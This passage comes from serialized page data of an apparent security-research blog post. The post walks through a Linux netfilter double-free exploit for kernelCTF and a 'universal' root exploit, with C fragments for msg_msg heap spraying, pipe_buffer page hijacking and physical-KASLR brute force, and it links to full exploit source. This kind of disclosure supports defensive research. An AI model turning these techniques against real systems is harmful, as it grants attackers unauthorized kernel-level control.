0x66];\n",{"type":23,"tag":481,"props":54785,"children":54786},{"class":483,"line":1159},[54787],{"type":23,"tag":481,"props":54788,"children":54789},{"emptyLinePlaceholder":15},[54790],{"type":28,"value":1210},{"type":23,"tag":481,"props":54792,"children":54793},{"class":483,"line":1172},[54794],{"type":23,"tag":481,"props":54795,"children":54796},{"style":488},[54797],{"type":28,"value":54798}," // switch_task_namespaces(task, &init_nsproxy);\n",{"type":23,"tag":481,"props":54800,"children":54801},{"class":483,"line":1181},[54802,54806,54810,54814,54818,54822,54826,54830,54834,54838],{"type":23,"tag":481,"props":54803,"children":54804},{"style":508},[54805],{"type":28,"value":53696},{"type":23,"tag":481,"props":54807,"children":54808},{"style":525},[54809],{"type":28,"value":54211},{"type":23,"tag":481,"props":54811,"children":54812},{"style":514},[54813],{"type":28,"value":48795},{"type":23,"tag":481,"props":54815,"children":54816},{"style":525},[54817],{"type":28,"value":6141},{"type":23,"tag":481,"props":54819,"children":54820},{"style":514},[54821],{"type":28,"value":603},{"type":23,"tag":481,"props":54823,"children":54824},{"style":525},[54825],{"type":28,"value":53717},{"type":23,"tag":481,"props":54827,"children":54828},{"style":514},[54829],{"type":28,"value":1930},{"type":23,"tag":481,"props":54831,"children":54832},{"style":551},[54833],{"type":28,"value":54674},{"type":23,"tag":481,"props":54835,"children":54836},{"style":525},[54837],{"type":28,"value":46599},{"type":23,"tag":481,"props":54839,"children":54840},{"style":488},[54841],{"type":28,"value":54683},{"type":23,"tag":481,"props":54843,"children":54844},{"class":483,"line":1204},[54845,54849,54853,54857,54861,54865,54869,54873],{"type":23,"tag":481,"props":54846,"children":54847},{"style":508},[54848],{"type":28,"value":53696},{"type":23,"tag":481,"props":54850,"children":54851},{"style":525},[54852],{"type":28,"value":54211},{"type":23,"tag":481,"props":54854,"children":54855},{"style":514},[54856],{"type":28,"value":48795},{"type":23,"tag":481,"props":54858,"children":54859},{"style":525},[54860],{"type":28,"value":6141},{"type":23,"tag":481,"props":54862,"children":54863},{"style":514},[54864],{"type":28,"value":603},{"type":23,"tag":481,"props":54866,"children":54867},{"style":525},[54868],{"type":28,"value":53717},{"type":23,"tag":481,"props":54870,"children":54871},{"style":514},[54872],{"type":28,"value":1930},{"type":23,"tag":481,"props":54874,"children":54875},{"style":525},[54876],{"type":28,"value":54877}," INIT_NSPROXY;\n",{"type":23,"tag":481,"props":54879,"children":54880},{"class":483,"line":1213},[54881,54885,54889,54893,54897,54901,54905,54909],{"type":23,"tag":481,"props":54882,"children":54883},{"style":508},[54884],{"type":28,"value":53696},{"type":23,"tag":481,"props":54886,"children":54887},{"style":525},[54888],{"type":28,"value":54211},{"type":23,"tag":481,"props":54890,"children":54891},{"style":514},[54892],{"type":28,"value":48795},{"type":23,"tag":481,"props":54894,"children":54895},{"style":525},[54896],{"type":28,"value":6141},{"type":23,"tag":481,"props":54898,"children":54899},{"style":514},[54900],{"type":28,"value":603},{"type":23,"tag":481,"props":54902,"children":54903},{"style":525},[54904],{"type":28,"value":53717},{"type":23,"tag":481,"props":54906,"children":54907},{"style":514},[54908],{"type":28,"value":1930},{"type":23,"tag":481,"props":54910,"children":54911},{"style":525},[54912],{"type":28,"value":54913}," SWITCH_TASK_NAMESPACES;\n",{"type":23,"tag":481,"props":54915,"children":54916},{"class":483,"line":1222},[54917],{"type":23,"tag":481,"props":54918,"children":54919},{"style":525},[54920],{"type":28,"value":7803},{"type":23,"tag":7092,"props":54922,"children":54924},{"id":54923},"grabbing-the-kernelctf-flag",[54925],{"type":28,"value":54926},"Grabbing the kernelCTF flag",{"type":23,"tag":24,"props":54928,"children":54929},{},[54930,54934,54936,54943],{"type":23,"tag":149,"props":54931,"children":54933},{"alt":48104,"src":54932},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":28,"value":54935},"\nYou can find the kernelCTF exploit in our ",{"type":23,"tag":190,"props":54937,"children":54940},{"href":54938,"rel":54939},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[194],[54941],{"type":28,"value":54942},"GitHub",{"type":28,"value":199},{"type":23,"tag":31,"props":54945,"children":54947},{"id":54946},"universal-exploit",[54948],{"type":28,"value":54949},"Universal exploit",{"type":23,"tag":24,"props":54951,"children":54952},{},[54953],{"type":28,"value":54954},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":23,"tag":7092,"props":54956,"children":54958},{"id":54957},"pivot-capability-using-msg_msg-mlistnext-pointer",[54959],{"type":28,"value":54960},"Pivot capability using msg_msg->mlist.next pointer",{"type":23,"tag":24,"props":54962,"children":54963},{},[54964,54966,54972,54974,54979,54981,54987],{"type":28,"value":54965},"Using the double-free vulnerability we can overlap a ",{"type":23,"tag":64,"props":54967,"children":54969},{"className":54968},[],[54970],{"type":28,"value":54971},"msg_msg",{"type":28,"value":54973}," object with with ",{"type":23,"tag":64,"props":54975,"children":54977},{"className":54976},[],[54978],{"type":28,"value":52625},{"type":28,"value":54980}," and control the ",{"type":23,"tag":64,"props":54982,"children":54984},{"className":54983},[],[54985],{"type":28,"value":54986},"m_list.next",{"type":28,"value":54988}," pointer.",{"type":23,"tag":435,"props":54990,"children":54992},{"className":26623,"code":54991,"language":26625,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[54993],{"type":23,"tag":64,"props":54994,"children":54995},{"__ignoreMap":7},[54996,55004,55020,55041,55054,55072,55097,55113,55121,55128,55135,55143,55175],{"type":23,"tag":481,"props":54997,"children":54998},{"class":483,"line":484},[54999],{"type":23,"tag":481,"props":55000,"children":55001},{"style":488},[55002],{"type":28,"value":55003},"/* one msg_msg structure for each message */\n",{"type":23,"tag":481,"props":55005,"children":55006},{"class":483,"line":351},[55007,55011,55016],{"type":23,"tag":481,"props":55008,"children":55009},{"style":497},[55010],{"type":28,"value":6884},{"type":23,"tag":481,"props":55012,"children":55013},{"style":943},[55014],{"type":28,"value":55015}," msg_msg",{"type":23,"tag":481,"props":55017,"children":55018},{"style":525},[55019],{"type":28,"value":809},{"type":23,"tag":481,"props":55021,"children":55022},{"class":483,"line":531},[55023,55027,55032,55037],{"type":23,"tag":481,"props":55024,"children":55025},{"style":497},[55026],{"type":28,"value":18649},{"type":23,"tag":481,"props":55028,"children":55029},{"style":943},[55030],{"type":28,"value":55031}," list_head",{"type":23,"tag":481,"props":55033,"children":55034},{"style":508},[55035],{"type":28,"value":55036}," m_list",{"type":23,"tag":481,"props":55038,"children":55039},{"style":525},[55040],{"type":28,"value":528},{"type":23,"tag":481,"props":55042,"children":55043},{"class":483,"line":567},[55044,55049],{"type":23,"tag":481,"props":55045,"children":55046},{"style":497},[55047],{"type":28,"value":55048}," long",{"type":23,"tag":481,"props":55050,"children":55051},{"style":525},[55052],{"type":28,"value":55053}," m_type;\n",{"type":23,"tag":481,"props":55055,"children":55056},{"class":483,"line":678},[55057,55062,55067],{"type":23,"tag":481,"props":55058,"children":55059},{"style":497},[55060],{"type":28,"value":55061}," size_t",{"type":23,"tag":481,"props":55063,"children":55064},{"style":525},[55065],{"type":28,"value":55066}," m_ts;",{"type":23,"tag":481,"props":55068,"children":55069},{"style":488},[55070],{"type":28,"value":55071}," /* message text size */\n",{"type":23,"tag":481,"props":55073,"children":55074},{"class":483,"line":784},[55075,55079,55084,55088,55093],{"type":23,"tag":481,"props":55076,"children":55077},{"style":497},[55078],{"type":28,"value":18649},{"type":23,"tag":481,"props":55080,"children":55081},{"style":943},[55082],{"type":28,"value":55083}," msg_msgseg",{"type":23,"tag":481,"props":55085,"children":55086},{"style":497},[55087],{"type":28,"value":7301},{"type":23,"tag":481,"props":55089,"children":55090},{"style":508},[55091],{"type":28,"value":55092},"next",{"type":23,"tag":481,"props":55094,"children":55095},{"style":525},[55096],{"type":28,"value":528},{"type":23,"tag":481,"props":55098,"children":55099},{"class":483,"line":812},[55100,55104,55108],{"type":23,"tag":481,"props":55101,"children":55102},{"style":497},[55103],{"type":28,"value":48575},{"type":23,"tag":481,"props":55105,"children":55106},{"style":514},[55107],{"type":28,"value":7301},{"type":23,"tag":481,"props":55109,"children":55110},{"style":525},[55111],{"type":28,"value":55112},"security;\n",{"type":23,"tag":481,"props":55114,"children":55115},{"class":483,"line":825},[55116],{"type":23,"tag":481,"props":55117,"children":55118},{"style":488},[55119],{"type":28,"value":55120}," /* the actual message follows immediately */\n",{"type":23,"tag":481,"props":55122,"children":55123},{"class":483,"line":843},[55124],{"type":23,"tag":481,"props":55125,"children":55126},{"style":525},[55127],{"type":28,"value":14068},{"type":23,"tag":481,"props":55129,"children":55130},{"class":483,"line":864},[55131],{"type":23,"tag":481,"props":55132,"children":55133},{"style":525},[55134],{"type":28,"value":7803},{"type":23,"tag":481,"props":55136,"children":55137},{"class":483,"line":873},[55138],{"type":23,"tag":481,"props":55139,"children":55140},{"style":525},[55141],{"type":28,"value":55142},"struct list_head {\n",{"type":23,"tag":481,"props":55144,"children":55145},{"class":483,"line":1125},[55146,55150,55154,55158,55162,55166,55170],{"type":23,"tag":481,"props":55147,"children":55148},{"style":497},[55149],{"type":28,"value":18649},{"type":23,"tag":481,"props":55151,"children":55152},{"style":943},[55153],{"type":28,"value":55031},{"type":23,"tag":481,"props":55155,"children":55156},{"style":497},[55157],{"type":28,"value":7301},{"type":23,"tag":481,"props":55159,"children":55160},{"style":508},[55161],{"type":28,"value":55092},{"type":23,"tag":481,"props":55163,"children":55164},{"style":525},[55165],{"type":28,"value":588},{"type":23,"tag":481,"props":55167,"children":55168},{"style":514},[55169],{"type":28,"value":2120},{"type":23,"tag":481,"props":55171,"children":55172},{"style":525},[55173],{"type":28,"value":55174},"prev;\n",{"type":23,"tag":481,"props":55176,"children":55177},{"class":483,"line":1142},[55178],{"type":23,"tag":481,"props":55179,"children":55180},{"style":525},[55181],{"type":28,"value":14068},{"type":23,"tag":24,"props":55183,"children":55184},{},[55185,55187,55193,55195,55200],{"type":28,"value":55186},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":23,"tag":64,"props":55188,"children":55190},{"className":55189},[],[55191],{"type":28,"value":55192},"mlist.next",{"type":28,"value":55194}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":23,"tag":64,"props":55196,"children":55198},{"className":55197},[],[55199],{"type":28,"value":54971},{"type":28,"value":55201}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":23,"tag":24,"props":55203,"children":55204},{},[55205,55207,55212,55214],{"type":28,"value":55206},"By incrementing the next pointer of our controllable ",{"type":23,"tag":64,"props":55208,"children":55210},{"className":55209},[],[55211],{"type":28,"value":54971},{"type":28,"value":55213}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":23,"tag":149,"props":55215,"children":55217},{"alt":48104,"src":55216},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":23,"tag":435,"props":55219,"children":55221},{"className":26623,"code":55220,"language":26625,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[55222],{"type":23,"tag":64,"props":55223,"children":55224},{"__ignoreMap":7},[55225,55232,55240,55266,55283,55331,55338,55378,55410,55417,55438,55445,55492,55556,55582,55628,55652,55696,55703,55711,55747,55771,55778,55798,55805],{"type":23,"tag":481,"props":55226,"children":55227},{"class":483,"line":484},[55228],{"type":23,"tag":481,"props":55229,"children":55230},{"style":525},[55231],{"type":28,"value":7803},{"type":23,"tag":481,"props":55233,"children":55234},{"class":483,"line":351},[55235],{"type":23,"tag":481,"props":55236,"children":55237},{"style":525},[55238],{"type":28,"value":55239}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":23,"tag":481,"props":55241,"children":55242},{"class":483,"line":531},[55243,55248,55252,55256,55261],{"type":23,"tag":481,"props":55244,"children":55245},{"style":525},[55246],{"type":28,"value":55247}," msg_t *msg = calloc(1, ",{"type":23,"tag":481,"props":55249,"children":55250},{"style":943},[55251],{"type":28,"value":52854},{"type":23,"tag":481,"props":55253,"children":55254},{"style":525},[55255],{"type":28,"value":618},{"type":23,"tag":481,"props":55257,"children":55258},{"style":943},[55259],{"type":28,"value":55260},"msg_t",{"type":23,"tag":481,"props":55262,"children":55263},{"style":525},[55264],{"type":28,"value":55265},") + 0xe8 - 48);\n",{"type":23,"tag":481,"props":55267,"children":55268},{"class":483,"line":567},[55269,55273,55278],{"type":23,"tag":481,"props":55270,"children":55271},{"style":497},[55272],{"type":28,"value":16573},{"type":23,"tag":481,"props":55274,"children":55275},{"style":508},[55276],{"type":28,"value":55277}," qid",{"type":23,"tag":481,"props":55279,"children":55280},{"style":525},[55281],{"type":28,"value":55282},"[SPRAY];\n",{"type":23,"tag":481,"props":55284,"children":55285},{"class":483,"line":678},[55286,55290,55294,55298,55302,55306,55310,55314,55318,55323,55327],{"type":23,"tag":481,"props":55287,"children":55288},{"style":535},[55289],{"type":28,"value":538},{"type":23,"tag":481,"props":55291,"children":55292},{"style":525},[55293],{"type":28,"value":578},{"type":23,"tag":481,"props":55295,"children":55296},{"style":497},[55297],{"type":28,"value":16543},{"type":23,"tag":481,"props":55299,"children":55300},{"style":525},[55301],{"type":28,"value":52070},{"type":23,"tag":481,"props":55303,"children":55304},{"style":514},[55305],{"type":28,"value":603},{"type":23,"tag":481,"props":55307,"children":55308},{"style":551},[55309],{"type":28,"value":554},{"type":23,"tag":481,"props":55311,"children":55312},{"style":525},[55313],{"type":28,"value":48759},{"type":23,"tag":481,"props":55315,"children":55316},{"style":514},[55317],{"type":28,"value":3282},{"type":23,"tag":481,"props":55319,"children":55320},{"style":525},[55321],{"type":28,"value":55322}," SPRAY; i",{"type":23,"tag":481,"props":55324,"children":55325},{"style":514},[55326],{"type":28,"value":48795},{"type":23,"tag":481,"props":55328,"children":55329},{"style":525},[55330],{"type":28,"value":675},{"type":23,"tag":481,"props":55332,"children":55333},{"class":483,"line":784},[55334],{"type":23,"tag":481,"props":55335,"children":55336},{"style":525},[55337],{"type":28,"value":26700},{"type":23,"tag":481,"props":55339,"children":55340},{"class":483,"line":812},[55341,55346,55350,55354,55359,55364,55369,55373],{"type":23,"tag":481,"props":55342,"children":55343},{"style":508},[55344],{"type":28,"value":55345}," qid",{"type":23,"tag":481,"props":55347,"children":55348},{"style":525},[55349],{"type":28,"value":52122},{"type":23,"tag":481,"props":55351,"children":55352},{"style":514},[55353],{"type":28,"value":603},{"type":23,"tag":481,"props":55355,"children":55356},{"style":610},[55357],{"type":28,"value":55358}," msgget",{"type":23,"tag":481,"props":55360,"children":55361},{"style":525},[55362],{"type":28,"value":55363},"(IPC_PRIVATE, ",{"type":23,"tag":481,"props":55365,"children":55366},{"style":551},[55367],{"type":28,"value":55368},"0666",{"type":23,"tag":481,"props":55370,"children":55371},{"style":514},[55372],{"type":28,"value":1818},{"type":23,"tag":481,"props":55374,"children":55375},{"style":525},[55376],{"type":28,"value":55377}," IPC_CREAT);\n",{"type":23,"tag":481,"props":55379,"children":55380},{"class":483,"line":825},[55381,55385,55389,55394,55398,55402,55406],{"type":23,"tag":481,"props":55382,"children":55383},{"style":535},[55384],{"type":28,"value":790},{"type":23,"tag":481,"props":55386,"children":55387},{"style":525},[55388],{"type":28,"value":578},{"type":23,"tag":481,"props":55390,"children":55391},{"style":508},[55392],{"type":28,"value":55393},"qid",{"type":23,"tag":481,"props":55395,"children":55396},{"style":525},[55397],{"type":28,"value":52122},{"type":23,"tag":481,"props":55399,"children":55400},{"style":514},[55401],{"type":28,"value":3282},{"type":23,"tag":481,"props":55403,"children":55404},{"style":551},[55405],{"type":28,"value":554},{"type":23,"tag":481,"props":55407,"children":55408},{"style":525},[55409],{"type":28,"value":675},{"type":23,"tag":481,"props":55411,"children":55412},{"class":483,"line":843},[55413],{"type":23,"tag":481,"props":55414,"children":55415},{"style":525},[55416],{"type":28,"value":29174},{"type":23,"tag":481,"props":55418,"children":55419},{"class":483,"line":864},[55420,55425,55429,55434],{"type":23,"tag":481,"props":55421,"children":55422},{"style":610},[55423],{"type":28,"value":55424}," perror",{"type":23,"tag":481,"props":55426,"children":55427},{"style":525},[55428],{"type":28,"value":618},{"type":23,"tag":481,"props":55430,"children":55431},{"style":1805},[55432],{"type":28,"value":55433},"\"[-] msgget\"",{"type":23,"tag":481,"props":55435,"children":55436},{"style":525},[55437],{"type":28,"value":1366},{"type":23,"tag":481,"props":55439,"children":55440},{"class":483,"line":873},[55441],{"type":23,"tag":481,"props":55442,"children":55443},{"style":525},[55444],{"type":28,"value":870},{"type":23,"tag":481,"props":55446,"children":55447},{"class":483,"line":1125},[55448,55452,55456,55461,55465,55469,55474,55478,55483,55487],{"type":23,"tag":481,"props":55449,"children":55450},{"style":514},[55451],{"type":28,"value":5230},{"type":23,"tag":481,"props":55453,"children":55454},{"style":525},[55455],{"type":28,"value":618},{"type":23,"tag":481,"props":55457,"children":55458},{"style":497},[55459],{"type":28,"value":55460},"uint32_t",{"type":23,"tag":481,"props":55462,"children":55463},{"style":514},[55464],{"type":28,"value":7301},{"type":23,"tag":481,"props":55466,"children":55467},{"style":525},[55468],{"type":28,"value":642},{"type":23,"tag":481,"props":55470,"children":55471},{"style":508},[55472],{"type":28,"value":55473},"msg",{"type":23,"tag":481,"props":55475,"children":55476},{"style":525},[55477],{"type":28,"value":11245},{"type":23,"tag":481,"props":55479,"children":55480},{"style":508},[55481],{"type":28,"value":55482},"mtext",{"type":23,"tag":481,"props":55484,"children":55485},{"style":514},[55486],{"type":28,"value":517},{"type":23,"tag":481,"props":55488,"children":55489},{"style":525},[55490],{"type":28,"value":55491}," i;\n",{"type":23,"tag":481,"props":55493,"children":55494},{"class":483,"line":1142},[55495,55499,55503,55507,55511,55515,55519,55523,55527,55531,55535,55539,55543,55547,55552],{"type":23,"tag":481,"props":55496,"children":55497},{"style":514},[55498],{"type":28,"value":5230},{"type":23,"tag":481,"props":55500,"children":55501},{"style":525},[55502],{"type":28,"value":618},{"type":23,"tag":481,"props":55504,"children":55505},{"style":497},[55506],{"type":28,"value":53161},{"type":23,"tag":481,"props":55508,"children":55509},{"style":514},[55510],{"type":28,"value":7301},{"type":23,"tag":481,"props":55512,"children":55513},{"style":525},[55514],{"type":28,"value":642},{"type":23,"tag":481,"props":55516,"children":55517},{"style":514},[55518],{"type":28,"value":623},{"type":23,"tag":481,"props":55520,"children":55521},{"style":508},[55522],{"type":28,"value":55473},{"type":23,"tag":481,"props":55524,"children":55525},{"style":525},[55526],{"type":28,"value":11245},{"type":23,"tag":481,"props":55528,"children":55529},{"style":508},[55530],{"type":28,"value":55482},{"type":23,"tag":481,"props":55532,"children":55533},{"style":525},[55534],{"type":28,"value":1269},{"type":23,"tag":481,"props":55536,"children":55537},{"style":551},[55538],{"type":28,"value":1622},{"type":23,"tag":481,"props":55540,"children":55541},{"style":525},[55542],{"type":28,"value":6141},{"type":23,"tag":481,"props":55544,"children":55545},{"style":514},[55546],{"type":28,"value":603},{"type":23,"tag":481,"props":55548,"children":55549},{"style":551},[55550],{"type":28,"value":55551}," 0xdeadbeefcafebabe",{"type":23,"tag":481,"props":55553,"children":55554},{"style":525},[55555],{"type":28,"value":528},{"type":23,"tag":481,"props":55557,"children":55558},{"class":483,"line":1159},[55559,55564,55568,55573,55577],{"type":23,"tag":481,"props":55560,"children":55561},{"style":508},[55562],{"type":28,"value":55563}," msg",{"type":23,"tag":481,"props":55565,"children":55566},{"style":525},[55567],{"type":28,"value":11245},{"type":23,"tag":481,"props":55569,"children":55570},{"style":508},[55571],{"type":28,"value":55572},"mtype",{"type":23,"tag":481,"props":55574,"children":55575},{"style":514},[55576],{"type":28,"value":517},{"type":23,"tag":481,"props":55578,"children":55579},{"style":525},[55580],{"type":28,"value":55581}," MTYPE_PRIMARY;\n",{"type":23,"tag":481,"props":55583,"children":55584},{"class":483,"line":1172},[55585,55590,55594,55598,55603,55607,55611,55616,55620,55624],{"type":23,"tag":481,"props":55586,"children":55587},{"style":610},[55588],{"type":28,"value":55589}," msgsnd",{"type":23,"tag":481,"props":55591,"children":55592},{"style":525},[55593],{"type":28,"value":618},{"type":23,"tag":481,"props":55595,"children":55596},{"style":508},[55597],{"type":28,"value":55393},{"type":23,"tag":481,"props":55599,"children":55600},{"style":525},[55601],{"type":28,"value":55602},"[i], msg, ",{"type":23,"tag":481,"props":55604,"children":55605},{"style":551},[55606],{"type":28,"value":53498},{"type":23,"tag":481,"props":55608,"children":55609},{"style":514},[55610],{"type":28,"value":48781},{"type":23,"tag":481,"props":55612,"children":55613},{"style":551},[55614],{"type":28,"value":55615}," 48",{"type":23,"tag":481,"props":55617,"children":55618},{"style":525},[55619],{"type":28,"value":588},{"type":23,"tag":481,"props":55621,"children":55622},{"style":551},[55623],{"type":28,"value":1568},{"type":23,"tag":481,"props":55625,"children":55626},{"style":525},[55627],{"type":28,"value":1366},{"type":23,"tag":481,"props":55629,"children":55630},{"class":483,"line":1181},[55631,55635,55639,55643,55647],{"type":23,"tag":481,"props":55632,"children":55633},{"style":508},[55634],{"type":28,"value":55563},{"type":23,"tag":481,"props":55636,"children":55637},{"style":525},[55638],{"type":28,"value":11245},{"type":23,"tag":481,"props":55640,"children":55641},{"style":508},[55642],{"type":28,"value":55572},{"type":23,"tag":481,"props":55644,"children":55645},{"style":514},[55646],{"type":28,"value":517},{"type":23,"tag":481,"props":55648,"children":55649},{"style":525},[55650],{"type":28,"value":55651}," MTYPE_SECONDARY;\n",{"type":23,"tag":481,"props":55653,"children":55654},{"class":483,"line":1204},[55655,55659,55663,55667,55671,55676,55680,55684,55688,55692],{"type":23,"tag":481,"props":55656,"children":55657},{"style":610},[55658],{"type":28,"value":55589},{"type":23,"tag":481,"props":55660,"children":55661},{"style":525},[55662],{"type":28,"value":618},{"type":23,"tag":481,"props":55664,"children":55665},{"style":508},[55666],{"type":28,"value":55393},{"type":23,"tag":481,"props":55668,"children":55669},{"style":525},[55670],{"type":28,"value":55602},{"type":23,"tag":481,"props":55672,"children":55673},{"style":551},[55674],{"type":28,"value":55675},"1024",{"type":23,"tag":481,"props":55677,"children":55678},{"style":514},[55679],{"type":28,"value":48781},{"type":23,"tag":481,"props":55681,"children":55682},{"style":551},[55683],{"type":28,"value":55615},{"type":23,"tag":481,"props":55685,"children":55686},{"style":525},[55687],{"type":28,"value":588},{"type":23,"tag":481,"props":55689,"children":55690},{"style":551},[55691],{"type":28,"value":1568},{"type":23,"tag":481,"props":55693,"children":55694},{"style":525},[55695],{"type":28,"value":1366},{"type":23,"tag":481,"props":55697,"children":55698},{"class":483,"line":1213},[55699],{"type":23,"tag":481,"props":55700,"children":55701},{"style":525},[55702],{"type":28,"value":879},{"type":23,"tag":481,"props":55704,"children":55705},{"class":483,"line":1222},[55706],{"type":23,"tag":481,"props":55707,"children":55708},{"style":488},[55709],{"type":28,"value":55710}," // Prepare evil msg\n",{"type":23,"tag":481,"props":55712,"children":55713},{"class":483,"line":1291},[55714,55718,55723,55727,55731,55735,55739,55743],{"type":23,"tag":481,"props":55715,"children":55716},{"style":497},[55717],{"type":28,"value":16573},{"type":23,"tag":481,"props":55719,"children":55720},{"style":525},[55721],{"type":28,"value":55722}," evilqid ",{"type":23,"tag":481,"props":55724,"children":55725},{"style":514},[55726],{"type":28,"value":603},{"type":23,"tag":481,"props":55728,"children":55729},{"style":610},[55730],{"type":28,"value":55358},{"type":23,"tag":481,"props":55732,"children":55733},{"style":525},[55734],{"type":28,"value":55363},{"type":23,"tag":481,"props":55736,"children":55737},{"style":551},[55738],{"type":28,"value":55368},{"type":23,"tag":481,"props":55740,"children":55741},{"style":514},[55742],{"type":28,"value":1818},{"type":23,"tag":481,"props":55744,"children":55745},{"style":525},[55746],{"type":28,"value":55377},{"type":23,"tag":481,"props":55748,"children":55749},{"class":483,"line":1299},[55750,55754,55759,55763,55767],{"type":23,"tag":481,"props":55751,"children":55752},{"style":535},[55753],{"type":28,"value":9766},{"type":23,"tag":481,"props":55755,"children":55756},{"style":525},[55757],{"type":28,"value":55758}," (evilqid ",{"type":23,"tag":481,"props":55760,"children":55761},{"style":514},[55762],{"type":28,"value":3282},{"type":23,"tag":481,"props":55764,"children":55765},{"style":551},[55766],{"type":28,"value":554},{"type":23,"tag":481,"props":55768,"children":55769},{"style":525},[55770],{"type":28,"value":675},{"type":23,"tag":481,"props":55772,"children":55773},{"class":483,"line":1329},[55774],{"type":23,"tag":481,"props":55775,"children":55776},{"style":525},[55777],{"type":28,"value":26700},{"type":23,"tag":481,"props":55779,"children":55780},{"class":483,"line":1337},[55781,55786,55790,55794],{"type":23,"tag":481,"props":55782,"children":55783},{"style":610},[55784],{"type":28,"value":55785}," perror",{"type":23,"tag":481,"props":55787,"children":55788},{"style":525},[55789],{"type":28,"value":618},{"type":23,"tag":481,"props":55791,"children":55792},{"style":1805},[55793],{"type":28,"value":55433},{"type":23,"tag":481,"props":55795,"children":55796},{"style":525},[55797],{"type":28,"value":1366},{"type":23,"tag":481,"props":55799,"children":55800},{"class":483,"line":1369},[55801],{"type":23,"tag":481,"props":55802,"children":55803},{"style":525},[55804],{"type":28,"value":879},{"type":23,"tag":481,"props":55806,"children":55807},{"class":483,"line":1377},[55808],{"type":23,"tag":481,"props":55809,"children":55810},{"style":525},[55811],{"type":28,"value":55812},"[...] // trigger double-free in kmalloc-256\n",{"type":23,"tag":7092,"props":55814,"children":55816},{"id":55815},"using-pipe_buffer-page-pointer-for-physical-readwrite",[55817],{"type":28,"value":55818},"Using pipe_buffer->page pointer for physical read/write",{"type":23,"tag":24,"props":55820,"children":55821},{},[55822,55824,55830,55831,55837,55838,55844,55846,55852],{"type":28,"value":55823},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":23,"tag":64,"props":55825,"children":55827},{"className":55826},[],[55828],{"type":28,"value":55829},"kmalloc-1k",{"type":28,"value":8478},{"type":23,"tag":64,"props":55832,"children":55834},{"className":55833},[],[55835],{"type":28,"value":55836},"overlap pipe_buffer",{"type":28,"value":19002},{"type":23,"tag":64,"props":55839,"children":55841},{"className":55840},[],[55842],{"type":28,"value":55843},"skbuf",{"type":28,"value":55845}," data to control the ",{"type":23,"tag":64,"props":55847,"children":55849},{"className":55848},[],[55850],{"type":28,"value":55851},"page",{"type":28,"value":55853}," field.",{"type":23,"tag":24,"props":55855,"children":55856},{},[55857,55858,55863,55865,55871,55873],{"type":28,"value":14104},{"type":23,"tag":64,"props":55859,"children":55861},{"className":55860},[],[55862],{"type":28,"value":55851},{"type":28,"value":55864}," field is a pointer into ",{"type":23,"tag":64,"props":55866,"children":55868},{"className":55867},[],[55869],{"type":28,"value":55870},"vmemmap_base",{"type":28,"value":55872},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":23,"tag":149,"props":55874,"children":55876},{"alt":48104,"src":55875},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":23,"tag":24,"props":55878,"children":55879},{},[55880,55882,55887],{"type":28,"value":55881},"This now allows us to navigate the ",{"type":23,"tag":64,"props":55883,"children":55885},{"className":55884},[],[55886],{"type":28,"value":55870},{"type":28,"value":55888}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":23,"tag":7092,"props":55890,"children":55892},{"id":55891},"bruteforce-physical-kernel-base",[55893],{"type":28,"value":55894},"Bruteforce physical kernel base",{"type":23,"tag":24,"props":55896,"children":55897},{},[55898,55900,55906,55908,55913,55915,55921],{"type":28,"value":55899},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":23,"tag":64,"props":55901,"children":55903},{"className":55902},[],[55904],{"type":28,"value":55905},"modprobe_path",{"type":28,"value":55907},". Keep in mind that simply searching page by page from the start of ",{"type":23,"tag":64,"props":55909,"children":55911},{"className":55910},[],[55912],{"type":28,"value":55870},{"type":28,"value":55914}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":23,"tag":64,"props":55916,"children":55918},{"className":55917},[],[55919],{"type":28,"value":55920},"PHYSICAL_ALIGN",{"type":28,"value":55922}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":23,"tag":435,"props":55924,"children":55926},{"className":26623,"code":55925,"language":26625,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n uint8_t 